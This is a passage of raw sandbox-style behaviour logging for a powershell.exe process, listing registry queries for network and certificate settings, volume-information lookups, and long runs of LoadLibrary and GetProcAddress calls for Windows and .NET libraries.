"HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")2f:Te26,"powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007108-00000C17-488173350 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007108-00000C17-488195599 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007108-00000C17-488199863 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007108-00000C17-491442001 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007108-00000C17-491867190 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00007108-00000C17-491976334 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007108-00000C17-492363525 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007108-00000C17-492704305 "powershell.exe" queries volume information of "C:\share" at 00000000-00007108-00000C17-492706005 "powershell.exe" queries volume information of "C:\share" at 00000000-00007108-00000C17-492789043 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007108-00000C17-493740803 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007108-00000C17-493877991 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007108-00000C17-493923411 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007108-00000C17-494541213 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007108-00000C17-495540036 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll" at 00000000-00007108-00000C17-495720615 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll" at 00000000-00007108-00000C17-495746004 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll" at 00000000-00007108-00000C17-497272456 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll" at 00000000-00007108-00000C17-49731130630:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")31:T4137,"powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Net.Http\04ab5d047cc99fc5dad36592f805b227\System.Net.Http.ni.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf5ac9168#\6266e450a9fd72d28c585220de1f4515\Microsoft.Management.Infrastr (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\5f64880c86c98e7ddecdf28e61917307\Microsoft.Management.Infrastr (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\aspnet_rc.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\aspnet_rc.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_rc.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\webengine4.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\\webengine4.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\webengine4.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter webengine4.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00007108) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00007108)32:Tb291,"powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a 